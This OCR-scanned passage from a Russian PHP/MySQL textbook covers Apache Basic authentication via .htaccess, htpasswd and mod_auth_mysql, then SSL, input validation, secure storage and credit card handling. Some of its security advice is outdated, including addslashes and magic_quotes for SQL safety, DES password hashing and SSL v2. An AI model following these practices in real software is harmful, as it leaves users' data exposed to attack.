Строка AuthUserFile /home/book/.htpass указывает серверу, где искать файл, содержащий пароли пользователей. Часто этот файл имеет имя . htpass, но можно выбрать произвольное имя. Не важно как этот файл называется, но важно», где он хранится. Он не должен храниться в рамках дерева веб- каталогов — там, откуда пользователи могут его загрузить с помощью веб-сервера. Содержимое файла .htpass для данного примера показано в листинге 17.8. Листинг 17.8. .htpass — файл паролей хранит имена и зашифрованные пароли каждого пользователя userl:0nRp9M80GS7zM user2:nC13sOTOhp.ow user3:yjQMCPWjXFTzU user4:L0mlMEi/hAme2 Кроме перечисления отдельных санкционированных пользователей, можно ука- зать, что доступ к ресурсам разрешен только прошедшим аутентификацию пользова- телям из определенной группы. В данном примере эта возможность не используется, и строка AuthGroupFile /dev/null заносит в параметр AuthGroupFile значение /dev/null — специальный файл в Unix- системах, который является гарантированно пустым. Как и в примере с РНР, для использования HTTP-аутентификации необходимо присвоить имя зоне. Это выполняет следующая строка: AuthName ’.’Realm-Name” Имя зоны может быть произвольным, но следует помнить, что это имя будет вид- но посетителям. Чтобы еще раз напомнить, что имя зоны в этом примере следует изменить, было выбрано имя "Realm-Name" (Имя-зоны). Поскольку сервер поддерживает различные методы аутентификации, следует ука- зать, какой именно метод будет использоваться. В нашем случае применяется базовая аутентификация : AuthType Basic Также необходимо задать, кому разрешен доступ. Можно указать определенных пользователей, определенные группы или, как в данном примере, всех санкциониро- ванных пользователей. Строка require valid-user определяет, что доступ разрешен всем пользователям, успешно прошедшим аутенти- фикацию. Каждая строка в файле .htpass содержит имя пользователя и зашифрованный пароль, разделенные двоеточием. Конкретное содержимое этого файла может быть различным. Чтобы создать та- кой файл, воспользуйтесь небольшой программой htpasswd, которая поставляется вместе с сервером Apache. Эту программу можно использовать одним из двух следующих способов: htpasswd [-cmdps] файл_пароля имя_пользователя Глава 17. Реализация аутентификации с помощью РНР и MySQL 389
или htpasswd -b[cmdps] файл_пароля имя_пользователя пароль Единственным ключом, который потребуется указать, является -с. Этот ключ ука- зывает программе htpasswd, что требуется создать новый файл. Используйте этот аргумент для создания первого пользователя. Будьте внимательны и не применяйте его для следующих пользователей, поскольку если файл уже существует, то програм- ма htpasswd удалит его и создаст новый файл с тем же именем. Необязательные ключи m, d, р, и s следует применять для выбора алгоритма шиф- рования (включая отказ от шифрования). Ключ Ь указывает, что пароль передается в качестве параметра, а не запрашива- ется отдельно. Этот аргумент полезен для запуска программы htpasswd в неинтерак- тивном режиме, в качестве части командного файла, но его не следует использовать при вызове программы из командной строки. Для создания файла, показанного в листинге 17.8, использовались следующие команды: htpasswd -be /home/book/.htpass userl passl htpasswd —b /home/book/.htpass user2 pass2 htpasswd -b /home/book/.htpass user4 pass3 htpasswd —b /home/book/.htpass user4 pass4 Если программа htpasswd отсутствует в текущем пути, потребуется указывать пол- ный путь к этой программе. В большинстве систем htpasswd хранится в каталоге /usr/local/apache/bin. Аутентификацию такого типа легко настроить, однако с ней связано несколько про- блем. Имена и пароли пользователей хранятся в текстовом файле. Каждый раз, когда браузер запрашивает файл, защищенный с помощью .htaccess, сервер-должен про- анализировать этот файл, а затем еще и файл пароля, чтобы найти соответствующее имя пользователя и пароль. Вместо файла .htaccess то же самое можно указать в файле httpd.conf — главном файле конфигурации веб-сервера. В отличие от .htaccess, который анализируется при каждом запросе, файл httpd.conf просматривается только в момент запуска сервера. Подобный подход ус- корит обработку запросов, но для внесения изменений придется остановить и пере- запустить сервер. Независимо от места хранения директив сервера, файл паролей анализируется при каждом запросе. Это означает, что подобно другим рассмотренным технологи- ям, в которых используется двумерный файл, данный метод не годится при наличии сотен или тысяч посетителей. Использование аутентификации с помощью модуля mod_auth_mysql Как уже упоминалось ранее, можно легко и эффективно использовать модуль mod_ auth сервера Apache. Однако этот модуль не очень-то подходит для загруженных сай- тов с большим количеством пользователей, поскольку mod auth хранит информацию о пользователях в текстовом файле. К счастью, модуль mod auth mysql сочетает в себе почти такую же простоту применения, как и для модуля mod auth, и скорость работы баз данных. Он работа- 390 Часть III. Электронная коммерция и безопасность
ет подобно mod auth, но благодаря использованию базы данных MySQL вместо тек- стового файла, он способен быстрее производить поиск в больших списках пользо- вателей. Чтобы использовать этот модуль, его следует скомпилировать и установить, или попросить сделать это системного администратора. Установка модуляmod_auth_mysql Чтобы можно было использовать модуль mod auth mysql, должны быть установ- лены сервер Apache и MySQL — в соответствии с инструкциями из приложения А. Затем необходимо выполнить еще несколько шагов. Достаточно подробные инст- рукции приведены в файлах README и USAGE дистрибутива, однако в ряде мест они ссылаются на поведение предыдущих версий. Ниже кратко описаны основные дей- ствия. 1. Получите архив дистрибутива этого модуля. Последняя версия модуля доступна для загрузки по адресу http: //source forge. net /pro j ects/modauthmysql/. 2. Воспользуйтесь утилитами zip и tar для распаковки исходного кода. 3. Перейдите в каталог mod auth mysql, запустите make, а затем make install. Возможно, в make-файле (MakeFile) потребуется изменить расположение установленной копии MySQL. 4. Добавьте в файл httpd. conf следующую строку, которая обеспечит динамическую загрузку модуля в Apache: LoadModule mysql_auth_module libexec/mod_auth_mysql. so 5. Создайте в MySQL базу данных и таблицу, в которой будут храниться данные аутентификации. Для этого не обязательно создавать отдельную базу данных и таблицу. Можно воспользоваться существующими таблицами вроде auth, которая применялась в примерах этой главы. 6. Добавьте в файл httpd. conf строку параметров для модуля mod auth mysql, которые нужны для подключения к базе данных. Директива должна выглядеть следующим образом: Auth_MySQL_Info имя_хоста имя_пользователя пароль Для проверки, работают ли скомпилированные модули, проще всего проверить, запускается ли сервер Apache. Для запуска Apache необходимо ввести команду /usr/local/apache/bin/apachectl startssl Если сервер запустится с директивой Auth MySQL Info в файле httpd.conf, зна- чит, модуль mod auth mysql успешно установлен. Использование модуля mod_auth_mysql После того как модуль mod_auth_mysql успешно установлен, его использовать не сложнее, чем модуль mod auth. В листинге 17.9 показан пример файла .htaccess, позволяющего аутентифицировать пользователей с зашифрованными паролями, ко- торые будут храниться в базе данных, созданной ранее в этой главе. Глава 17. Реализация аутентификации с помощью РНР и MySQL 391
Листинг 17.9. .htaccess — этот файл выполняет аутентификацию пользователей с применением базы данных MySQL ErrorDocument 401 /chapterl7Zrejection.html AuthName "Realm-Name" AuthType Basic Auth_MySQL_DB auth Auch_MySQL_Encryption_Types MySQL Auth_MySQL_Password_Table authorised__users Auth_MySQL_Username_Field name Auth_MySQL_Password_Field password require valid-user Как видите, значительная часть этого файла совпадает с файлом, приведенным в листинге 17.7. Мы по-прежнему указываем файл с сообщением об ошибке 401 (не- удачная аутентификация). Снова указана базовая аутентификация и имя зоны. И, как в листинге 17.7, доступ разрешен любому пользователю, который успешно прошел аутентификацию. Поскольку применяется модуль mod auth mysql, и не хотелось бы использовать установки по умолчанию, в листинге 17.9 указаны дополнительные директивы для настройки. Директивы Auth_MySQL_DB, Auth_MySQL_Password_Table, Auth_MySQL_ Username_Field и Auth_MySQL_Password_Field используются для указания, соответ- ственно, имени базы данных, таблицы и полей имени пользователя и пароля. В листинге присутствует директива Auth MySQL Encryption Types, которая указывает шифрование паролей MySQL. Для этой директивы возможны значения Plaintext, Crypt_DES или MySQL. Значение Crypt_DES используется по умолчанию, и оно активизирует использование стандартного для Unix алгоритма шифрования паролей DES. С точки зрения пользователя, пример с модулем mod auth mysql работает в точ- ности так же, как пример с модулем mod auth. В браузере пользователя отображается диалоговое окно. Если пользователь проходит аутентификацию, он увидит защищен- ное содержимое страницы, а если нет — сообщение об ошибке. Для большинства веб-сайтов аутентификация с помощью модуля mod auth mysql подходит практически идеально. Этот метод быстро работает, его сравнительно лег- ко реализовать и он позволяет использовать любой удобный механизм для создания новых учетных записей в базе данных. Однако для большей гибкости и контроля над частями веб-страниц, возможно, придется создать собственный метод аутентифика- ции с применением РНР и MySQL. Создание собственного метода аутентификации В этой главе мы рассмотрели способы создания собственных методов аутентифи- кации. При этом мы ознакомились с некоторыми недостатками и компромиссами, а также со встроенными методами аутентификации, которые обеспечивают меньшую гибкость, чем применение специально созданного кода. После изучения методов управления сеансами вы сможете создавать собственные методы аутентификации с меньшим количеством компромиссов, нежели в этой главе. 392 Часть III. Электронная коммерция и безопасность
В главе 23 рассматривается создание простой системы аутентификации пользова- телей, которая, благодаря использованию сеансов щля передачи переменных между страницами, позволяет избежать некоторых проблем, описанных в этой главе. В главе 27 будет показано применение этого подхода в реальном проекте. В ней вы узнаете, как его можно использовать для реализации качественной системы аутен- тификации. Дополнительные источники информации HTTP-аутентификация подробно описана в документе RFC 2617, который досту- пен по адресу http://www.rfc-editor.org/rfc/rfc2617.txt. Документацию по модулю mod auth, управляющему базовой аутентификацией на сервере Apache, можно найти по адресу http://www.apache.Org/docs/2.0/mod/ mod_auth. html. Документация по модулю mod auth mysgl находится в загружаемом архиве. Сам архив очень мал, поэтому его можно загрузить и прочесть файл readme, даже если просто требуется побольше узнать о нем. Что дальше В следующей главе описана методика защиты данных на всех стадиях обработки — при вводе, передаче и хранении. В ней рассматривается использование SSL, цифро- вых сертификатов и шифрования. Глава 17. Реализация аутентификации с помощью РНР и MySQL 393
18 Реализация защищенных транзакций с помощью РНР и MySQL В этой главе объясняется, как безопасно обрабатывать пользовательские данные при вводе, пересылке и сохранении. Это позволяет выполнять транзакции меж- ду пользователем и сервером, защищенные от начала и до конца. В главе рассматриваются следующие темы. Обеспечение безопасности транзакций. Использование протокола защищенных сокетов (SSL). Обеспечение безопасного хранения данных. Определение необходимости хранения номеров кредитных карточек. Использование шифрования в РНР. Обеспечение безопасности транзакций Обеспечение безопасности транзакций в Интернете сводится к анализу потока информации в системе и защите ее в каждой точке. В контексте сетевой безопас- ности не существует некоего абсолюта. Ни одна система не может считаться полно- стью недоступной для проникновения. Под безопасностью здесь понимается то, что уровень усилий, необходимых для взлома системы или пересылаемой информации, превышает значимость этой информации. Чтобы усилия по защите были эффективными, необходимо анализировать поток информации во всех частях системы. Поток пользовательской информации в типич- ном приложении, написанном с использованием РНР и MySQL, показан на рис. 18.1. Особенности каждой транзакции, происходящей в системе, могут быть различны- ми в зависимости от внутренней структуры системы, от пользовательских данных, а также действий, послуживших источником транзакции. Но все они имеют общие черты. Каждая транзакция между веб-приложением и пользователем начинается с того, что браузер пользователя отправляет через Интернет запрос к веб-серверу. Если страница содержит PHP-сценарий, то веб-сервер поручает обработку страницы интерпретатору РНР. 394 Часть III. Электронная коммерция и безопасность
Рис. 18.1. Пользовательская информация хранится или обрабатывается в показанных на рисунке элементах среды типичного веб-приложения PHP-сценарий может считывать или записывать данные на диск. Он также мо- жет содержать функции include () или require () для включения РНР- или HTML- файлов и отправлять SQL-запросы демону MySQL, получая от него ответы. Механизм MySQL отвечает за считывание и запись собственных данных на диск. Такая система состоит из трех основных частей: компьютер пользователя; собственно Интернет; система сервера. В следующих разделах мы рассмотрим вопросы безопасности для каждой из час- тей, но, разумеется, компьютер пользователя и Интернет находятся вне пределов вашего контроля. Компьютер пользователя На компьютере пользователя действует веб-браузер — и это все, что вы о нем знаете. Вы не можете управлять такими факторами, как настройка безопасности этого компьютера. Необходимо помнить, что компьютер может быть абсолютно не- защищенным или даже быть общедоступным терминалом в библиотеке, школе или Интернет-кафе. Существует много различных браузеров, предоставляющих разные возможности. Если принять во внимание только последние версии двух наиболее популярных брау- зеров, то большинство различий в них сводятся лишь к форматированию и выводу HTML-кода, однако нам требуется исследовать вопросы безопасности и функциони- рования. Учтите, что некоторые пользователи отключают функции, которые, по их мне- нию, могут представлять опасность для системы или угрозу конфиденциальности, например, Java, cookie-наборы или поддержку JavaScript. Если вы используете эти возможности, то либо убедитесь, что ваше приложение может работать и без них, либо обеспечьте упрощенный интерфейс, который позволит таким пользователям успешно взаимодействовать с вашим сайтом. Глава 18. Реализация защищенных транзакций с помощью РНР и MySQL 395
Пользователи за пределами США и Канады могут применять веб-браузеры, кото- рые поддерживают только 40-битное шифрование. Хотя в январе 2000 г. правитель- ство США изменило законодательство, позволив экспортировать усложненное шиф- рование (в страны, не подпадающие под эмбарго), и 128-битное шифрование стало доступным большинству пользователей, некоторые из них могли до сих пор не обно- вить версии своих браузеров. Если только вы не гарантируете безопасность своим пользователям в тексте своего сайта, вам, как веб-разработчику, нет надобности бес- покоиться об этих вопросах. SSL автоматически позволяет серверу и браузеру пользо- вателя взаимодействовать на максимально возможном уровне безопасности. К сожалению, нельзя быть уверенным в том, что именно веб-браузер соединяет- ся с сайтом, используя предназначенный для этого интерфейс. Запросы к сайту мо- гут поступать с другого сайта, “заимствующего” изображения или данные, или же от кого-либо, использующего программное обеспечение наподобие библиотеки cURL с целью обхода средств защиты. О библиотеке cURL, позволяющей эмулировать подключения браузера, будет рас- сказано в главе 20. Она полезна для разработчиков, однако может быть использована и в злонамеренных целях. Хотя у нас нет возможности изменять или управлять настройками компьютеров пользователей, беспокоиться об этом не следует. Различия между компьютерами пользователей влияют лишь на то, какие функциональные возможности можно обес- печить в сценариях серверной (РНР), а какие — клиентской (JavaScript) стороны. Возможности, предоставляемые РНР, могут быть совместимы с любым браузером, поскольку конечным результатом является лишь HTML-страница. Использование чего-то более сложного, нежели самый примитивный вариант JavaScript, приводит к необходимости учета различий между возможностями версий отдельных браузеров. С точки зрения защиты, для проверки данных стоит использовать серверные сце- нарии, так как в этом случае исходный код не будет виден пользователю. При про- верке данных средствами JavaScript пользователи могут видеть исходный код и, воз- можно, перехитрить его. Все требуемые данные можно сохранять на сервере (в виде файлов и записей базы данных) или на компьютере пользователя (в форме cookie-наборов). Использование cookie-наборов для сохранения ограниченных данных (ключ сеанса) рассматривается в главе 23. Большая часть хранящихся данных должна находиться на веб-сервере или в базе данных. Существует несколько веских причин, по которым на компьютере пользова- теля следует хранить как можно меньше информации. Если информация хранится за пределами системы, нельзя быть уверенным в надежности ее хранения, что пользо- ватель не удалит ее, или же не изменит ее, чтобы попытаться ввести систему в заблу- ждение. Интернет Как и в случае компьютера пользователя, характеристики Интернета также не поддаются контролю, однако их нельзя игнорировать при проектировании системы. Интернет обладает множеством замечательных свойств, однако принципиально не является безопасной сетью. При пересылке информации из одной точки в другую следует помнить, что ее могут просматривать и даже изменять другие пользователи. Об этом упоминалось в главе 15. Памятуя об этом, можно решить, что следует пред- принять. 396 Часть III. Электронная коммерция и безопасность
Все-таки пересылать информацию, учитывая, что при этом она может оказать- ся доступной другим лицам и по пути может быть изменена. Поставить цйфровую подпись под информацией перед пересылкой, чтобы за- щитить ее от подделки. Зашифровать .информацию перед пересылкой, чтобы сохранить ее в тайне и защитить от подделки. Решить, что информация является слишком секретной, чтобы допустить ка- кую-либо возможность перехвата, и подыскать другие способы ее распростра- нения. Интернет — это еще и исключительно анонимная среда. Очень трудно удостове- риться, что данное лицо является именно тем, за кого себя выдает. Даже если в этом можно убедиться для собственного спокойствия, будет непросто предоставить доста- точно веские доказательства таким организациям, как, например, суд. А это порождает проблемы, связанные с отказом от обязательств, о которых упоминалось в главе 15. Короче говоря, приватность и отказ от обязательств — это серьезные проблемы при выполнении транзакций через Интернет. Существует, по меньшей мере, два способа защиты информации между веб-серве- ром и Интернетом: SSL (Secure Sockets Layer — протокол защищенных сокетов); S-HTTP (Secure Hypertext Transfer Protocol — протокол защищенной передачи гипертекста). Обе технологии обеспечивают приватный, защищенный от взлома обмен сообще- ниями и аутентификацию, однако если SSL широко распространен, то S-HTTP при- меняется Пока нечасто. SSL подробно рассматривается далее в этой главе. Ваша система Ваша система является той частью вселенной, которой вы можете полностью управлять. Ее компоненты обрамлены на рис. 18.1 прямоугольником. Эти компонен- ты могут быть физически разделены и соединены сетью, либо же существовать на одном компьютере. Можно практически не беспокоиться о безопасности информации, пересылкой которой через Интернет занимаются продукты независимых разработчиков. Авторы этих программ уделили им достаточное внимание. Если используется последняя вер- сия широко распространенного продукта, то обо всех известных на текущий момент проблемах можно узнать, воспользовавшись Google или любыми другими средствами поиска в Сети. Очень важно постоянно следить за обновлением этой информации. Если инсталляция и конфигурирование входят в ваши обязанности, вам придет- ся беспокоиться о том, как установлено и сконфигурировано программное обес- печение. Немало ошибок в защите системы являются результатом пренебрежения предупреждениями в документации или же связаны с общими вопросами систем- ного администрирования, которые могут послужить темой для отдельной книги. Поэтому советуем либо приобрести хорошую книгу по администрированию исполь- зуемой операционной системы, либо же нанять эксперта по этому вопросу. Следует отметить, что в общем случае более безопасной (и эффективной) явля- ется установка РНР в качестве SAPI-модуля веб-сервера, а не его запуск через CGI- интерфейс. Глава 18. Реализация защищенных транзакций с помощью РНР и MySQL 397
Прежде всего, следует позаботиться о том, что должны, а чего не должны делать ваши сценарии. Какие потенциально чувствительные к перехвату данные приложе- ние будет пересылать пользователю через Интернет? Какие конфиденциальные дан- ные оно будет запрашивать у пользователя? Если пересылается информация, пред- ставляющая собой приватную транзакцию между вами и пользователем, необходимо прибегнуть к SSL. Здесь уже обсуждался вопрос применения SSL между компьютером пользователя и сервером. Следует также рассмотреть ситуацию, когда данные пересылаются по сети от одного компонента системы другому. Так происходит, например, тогда, ко- гда база данных MySQL находится на одном компьютере, а веб-сервер — на другом. РНР соединяется с сервером MySQL по протоколу TCP/IP, а такое соединение не шифруется. Если оба компьютера находятся в локальной сети, следует убедиться, что она надежно защищена. Если они взаимодействуют через Интернет, то система, воз- можно, будет работать несколько медленнее, а к соединению необходимо относиться так же, как и к любому другому Интернет-соединению. Когда пользователи думают, что имеют дело с вами, очень важно, чтобы это дей- ствительно было именно так. Регистрация с помощью цифрового сертификата помо- жет защитить посетителей от обмана (когда кто-то другой пытается выдать свой сайт за ваш), позволит использовать SSL, не выдавая пользователям предупреждающего сообщения, и придаст респектабельность всему предприятию. Проверяют ли сценарии данные, вводимые пользователями? Хорошо ли защище- на сохраняемая информация? Ответы на эти вопросы даны в последующих разделах этой главы. Использование протокола защищенных сокетов (SSL) Семейство протоколов защищенных сокетов (SSL) изначально было разработано компанией Netscape с целью обеспечения безопасного соединения веб-серверов и веб-браузеров. С тех пор SSL стал неофициальным стандартным методом для обмена секретной информацией между браузерами и серверами. Хорошо поддерживаются SSL как версии 2, так и версии 3. Большинство веб-сер- веров либо уже содержат функциональные возможности SSL, либо допускают их до- бавление в виде подключаемого модуля. Браузеры Internet Explorer и Firefox поддер- живают SSL, начиная с версии 3. Обычно сетевые протоколы и реализующее их программное обеспечение органи- зуются в виде иерархии (стека) уровней. Каждый уровень может передавать данные или запрашивать службы из уровня, расположенного выше или ниже. Такой стек про- токолов показан на рис. 18.2. Когда для пересылки информации используется протокол HTTP, он вызывает протокол TCP (Transmission Control Protocol — протокол управления передачей), ко- торый, в свою очередь, связан с протоколом IP (Internet Protocol — Интернет-про- токол). Последний нуждается в соответствующем протоколе, управляющем сетевым оборудованием и преобразующем пакеты данных в электрические сигналы, которые отправляются в точку назначения. HTTP называют протоколом уровня приложений. Протоколами такого типа являются FTP, SMTP и Telnet (см. рис. 18.2), а также POP, IMAP и ряд других. 398 Часть III. Электронная коммерция и безопасность
HTTP I FTP I SMTP I ... Уровень приложений TCP/UDP Транспортный уровень IP Сетевой уровень Остальные протоколы Уровень между хостом и сетью Рис. 18.2. Стек протоколов, используемый протоколом уровня приложений, таким как протокол передачи гипертекста (HTTP) TCP—это один из двух протоколов транспортного уровня, используемого в сетях TCP/IP. IP — протокол сетевого уровня. Уровень между хостом и сетью отвечает за соедине- ние хоста (компьютера) с сетью. Протоколы этого уровня не присутствуют в стеке TCP/IP, поскольку для различных типов сетей на этом уровне требуются различные протоколы. При отправке данные пересылаются по стеку из приложения к физиче- ской сетевой среде. При получении данные проходят через стек от физической сети к приложению. Использование SSL добавляет к описанной модели еще один прозрачный уровень. Уровень SSL находится между транспортным уровнем и уровнем приложений. Эта модель показана на рис. 18.3. Прежде чем передать поступившие от НТТР-приложе- ния данные транспортному уровню для отправки по месту назначения, уровень SSL изменяет их. Протокол Шифрование Протокол HTTP квитирования предупреждении SSL SSL Уровень приложений Уровень записей SSL Уровень SSL TCP Транспортный уровень IP Сетевой уровень Между хостом и сетью Уровень между хостом и сетью Рис. 18.3. SSL добавляет дополнительный уровень к стеку протоколов, а также протоколы уровня приложений для управления своими действиями SSL может обеспечить среду безопасной передачи и другим протоколам, отличным от HTTP. Для других протоколов уровень SSL по сути прозрачен, т.е. он обеспечива- ет такой же интерфейс протоколам более высоких уровней, как и расположенный под ним транспортный уровень. Поэтому он прозрачно обеспечивает квитирование, шифрование и дешифрацию. Когда веб-браузер соединяется с защищенным веб-сервером по HTTP, обеим сторо- нам необходимо воспользоваться протоколом установки соединения (квитирования — handshaking), позволяющим договориться о таких действиях, как аутентификации и шифрование. Последовательность квитирования включает в себя следующие шаги. 1. Браузер соединяется с сервером, поддерживающим SSL, и запрашивает у него аутентификацию. 2. Сервер отправляет свой цифровой сертификат. 3. Не обязательно (и редко) сервер может запросить аутентификацию у браузера. 4. Браузер посылает список поддерживаемых им алгоритмов шифрования и хеши- рования. Сервер выбирает наиболее надежное шифрование из числа поддержи- ваемых им. Глава 18. Реализация защищенных транзакций с помощью РНР и MySQL 399
5. Браузер и сервер генерируют ключи сеанса» а. Браузер получает открытый ключ сервера из его цифрового сертификата и использует его для шифрования случайного числа. б. Сервер отвечает отправкой открытым текстом случайных данных (если толь- ко по запросу сервера браузер не выслал цифровой сертификат — в этом слу- чае сервер использует открытый ключ браузера). в. На основе этих случайных данных с помощью хеш-функций генерируются ключи шифрования для сеанса. Генерирование качественных случайных данных, дешифрация цифровых сер- тификатов, генерирование ключей и использование шифрования с открытым клю- чом требует времени, поэтому процедура квитирования выполняется не мгновенно. К счастью, результаты кэшируются, поэтому, если тем же самым браузеру и серверу требуется обменяться несколькими шифрованными сообщениями, процесс квитиро- вания и соответствующая обработка выполняются только один раз. При пересылке данных по SSL-соединению выполняются следующие действия. 1. Данные разбиваются на управляемые пакеты. 2. Каждый пакет сжимается (необязательно). 3. Каждый пакет содержит код аутентификации сообщения (message authentication code — МАС), вычисленный с помощью алгоритма хеширования. 4. МАС-код и сжатые данные объединяются и шифруются. 5. Зашифрованные пакеты объединяются с информацией заголовков и пересыла- ются по сети. Весь процесс показан на рис. 18.4. Код аутентификации сообщения (МАС) Зашифрованные пакеты Данные Пакеты данных Сжатые данные ТСР-пакеты Рис. 18.4. Перед отправкой данных SSL разбивает их на пакеты, сжимает, хеширует и шифрует 400 Часть III. Электронная коммерция и безопасность
Из приведенной схемы видно, что заголовок TCP добавляется после шифрования данных. Это значит, что маршрутная информация может быть перехвачена. И хотя перехватившие не смогут получить основную информацию, они смогут определить, кто ею обменивается. Причина, по которой сжатие в SSL выполняется до шифрования, состоит в том, что зашифрованные‘данные плохо поддаются сжатию. Алгоритмы сжатия основаны на поиске повторяющихся последовательностей данных. Поэтому попытка их приме- нения после того, как в результате шифрования данные были превращены, по сути дела, в случайный набор битов, в большинстве случаев оказывается бесполезной. Было бы нежелательным, чтобы SSL, разработанный для повышения безопасности сети, приводил к существенному увеличению трафика. Хотя SSL сравнительно сложен, пользователи и разработчики могут не беспоко- иться об этом, поскольку его внешние интерфейсы полностью повторяют существую- щие протоколы. Недавно появилась версия 1.1 стандарта TLS (Transport Layer Security — безопас- ность транспортного уровня), который основан на SSL 3.0, однако содержит ряд улучшений, связанных с устранением недостатков SSL и повышением гибкости. TLS задуман как действительно открытый стандарт, а не стандарт, определенный одной организаций и доступный другим. Проверка введенных пользователем данных Один из принципов создания надежного веб-приложения заключается в том, что- бы никогда не доверять данным, введенным пользователем. Перед записью в файл или в базу данных либо перед выполнением с помощью системной команды данные, поступивши^ от пользователя, должны быть обязательно проверены. В нескольких местах в этой книги уже рассматривались способы проверки вводи- мых пользователями данных. Ниже приведено их краткое описание. Функцию addslashes () следует использовать для фильтрации данных до их пе- ресылки в базу данных. Она литерализирует символы, которые могут вызывать проблемы в базе данных. Для возврата данных к исходному виду служит функ- ция stripslashes(). Можно включить директивы magic_quotes_gpc и magic_quotes_runtime в файле php.ini. Они автоматически добавляют или убирают слеши, при- чем magic quotes gpc выполняет это для входных переменных методов GET, POST и cookie-наборов, a magic quote runtime — для данных, заноси- мых или извлекаемых из баз данных. Функцию е scapes he 11 cmd () следует использовать при передаче пользователь- ских данных в вызовы system() и exec () или выполнении с помощью обратных кавычек. Эта функция литерализирует все метасимволы, которые могут быть ис- пользованы злоумышленниками для запуска в системе произвольных команд. Для удаления из строки HTML- и PHP-дескрипторов можно воспользоваться функцией strip tags (). Это не позволит пользователям создавать сценарии внутри данных, которые сервер передает браузеру. Функция htmlspecialchars () предназначена для преобразования символов в символьные подстановки HTML. Например, символ < преобразуется в &lt;. В результате любые дескрипторы будут преобразованы в безопасные символы. Глава 18. Реализация защищенных транзакций с помощью РНР и MySQL 401
Обеспечение безопасного хранения данных Три различных типа сохраняемых данных (HTML- или PHP-файлы, данные сце- нариев и данные MySQL) часто размещаются в разных областях одного и того же диска, однако на рис. 18.1 они показаны отдельно. Каждый тип требует своих мер предосторожности, поэтому и обсуждаться они будут по отдельности. Наиболее опасным является исполняемое содержимое. На веб-сайте таковым обычно являются сценарии. Необходимо проявлять особую осторожность при опре- делении прав доступа внутри веб-иерархии. Под этой иерархией здесь подразумева- ется дерево каталогов, начинающееся с htdocs на сервере Apache или inetpub на сервере IIS. Посторонние должны иметь возможность только читать сценарии, но ни в коем случае не перезаписывать или вносить в них правки. Это же относится и к каталогам внутри веб-иерархии. Только их владельцы долж- ны обладать правами записи в них. Другие пользователи, включая и того, под чьей учетной записью запускается веб-сервер, не должны иметь прав доступа для записи или создания новых файлов в каталогах, которые могут быть загружены с веб-серве- ра. Если разрешить запись файлов в эти каталоги, станет возможным создание злона- меренных сценариев и их запуск из веб-сервера. Если сценариям нужна запись в файлы, то для этой цели необходимо создать ката- лог за пределами веб-дерева. В особенности это касается сценариев выгрузки файлов на сайт. Сценарии и записываемые ими данные не должны находиться вместе. При записи важных данных вначале можно попытаться их зашифровать. Однако подобный подход редко оказывается эффективным. Предположим, что на веб-серве- ре имеется файл creditcardnumbers . txt, и взломщику удалось получить доступ к серверу и прочесть этот файл. Что еще он может прочесть? Чтобы шифровать и де- шифровывать данные, требуются соответствующие программы и один или несколько файлов ключей. Если взломщик может прочесть данные, скорее всего, ничто не по- мешает ему прочесть файлы ключей, равно как и другие файлы. Шифрование данных на веб-сервере имеет смысл только в том случае, если про- граммное обеспечение и ключи для дешифрации хранятся на другом компьютере. Один из способов обработки важных данных состоит в их шифровании на сервере с последующей пересылкой на другой компьютер, возможно, по электронной почте. Содержимое базы данных похоже на данные, хранящиеся в обычных файлах данных. При правильной настройке MySQL только эта СУБД может записывать ин- формацию в свои файлы. А это значит, что беспокоиться следует только о доступе пользователей в рамках среды MySQL. В книге уже обсуждались вопросы, связанные с системой управления правами доступа MySQL, которая присваивает определенные права определенным пользователям на указанных хостах. Особого упоминания заслуживает следующий факт: часто в PHP-сценариях необ- ходимо указать пароль для доступа к MySQL. PHP-сценарии зачастую являются обще- доступными для загрузки. Однако это не представляет такой проблемы, как может показаться на первый взгляд. Если конфигурация веб-сервера не нарушена, исходный код РНР никогда не будет виден извне. Если веб-сервер настроен на обработку файлов с расширением .php с помощью интерпретатора РНР, внешние пользователи не смогут увидеть исходный код. Тем не менее, нужно соблюдать осторожность при использовании других расширений. Если файлы с расширением .inc разместить в веб-каталогах, по внешнему запросу можно будет получить исходный код. В этом случае необходимо либо поместить под- ключаемые файлы за пределами веб-дерева и сконфигурировать сервер так, чтобы он 402 Часть III. Электронная коммерция и безопасность
не пересылал файлы с таким расширением, либо использовать для них только расши- рение . php. Если веб-сервером вместе с вами пользуются и другие, то ваши пароли MySQL мо- гут быть видны другим пользователям, которые работают на этом же компьютере и могут запускать сценарии через тот же веб-сервер. В зависимости от того, как скон- фигурирована система, такая ситуация может оказаться неизбежной. Выходом может послужить либо настройка веб-сервера таким образом, чтобы сценарии выполнялись от имени отдельных пользователей, либо запуск отдельного экземпляра веб-сервера для каждого пользователя. Если вы не являетесь администратором веб-сервера (ско- рее всего, это так, раз вы используете его совместно с другими), имеет смысл обсу- дить проблемы с администратором и изучить возможные способы защиты. Надежное хранение номеров кредитных карточек При обсуждении безопасного хранения важных данных один их тип заслуживает особого внимания. Пользователей Интернета буквально охватывает паранойя при мысли о номерах кредитных карточек. Поэтому, если вы собираетесь хранить их на своем сайте, следует проявить предельную осторожность. Кроме того, следует задать- ся вопросом, в действительности ли это необходимо. Какие действия предполагается выполнять с номером кредитной карточки? Если осуществляется одноразовая транзакция и обработка карточки в реальном времени, лучше просто получить номер от клиента и направить его сразу в шлюз транзакций, вообще не сохраняя номер на сервере. Если необходимо производить периодические отчисления, например, изымать ежемесячные взносы с одной и той же кредитной карточки, то такой подход не по- дойдет. В этом случае номера карточек следует хранить за пределами веб-сервера. Если вы все же собираетесь хранить данные о кредитных карточках, множества клиентов, вам потребуется профессиональный системный администратор, возможно, перестраховщик в вопросах безопасности, который тратил бы достаточно времени на изучение наиболее свежей информации по защите операционной системы и дру- гих используемых программ. Использование шифрования в РНР Простая, но полезная задача, демонстрирующая применение шифрования, за- ключается в отправке зашифрованных сообщений электронной почты. Стандартом де-факто многие годы был PGP — Pretty Good Privacy (вполне хорошая секретность). Филипп Р. Циммерман (Philip R. Zimmermann) создал стандарт PGP специально для того, чтобы придать сообщениям электронной почты должный уровень конфиденци- альности. Существуют бесплатные версии PGP, однако это программное обеспечение не яв- ляется свободно распространяемым. Бесплатную версию можно применять только в некоммерческих целях. Загрузить бесплатную версию или купить коммерческую лицензию PGP можно на сайте корпорации PGP по адресу http: / /www. pgp. org. Глава 18. Реализация защищенных транзакций с помощью РНР и MySQL 403
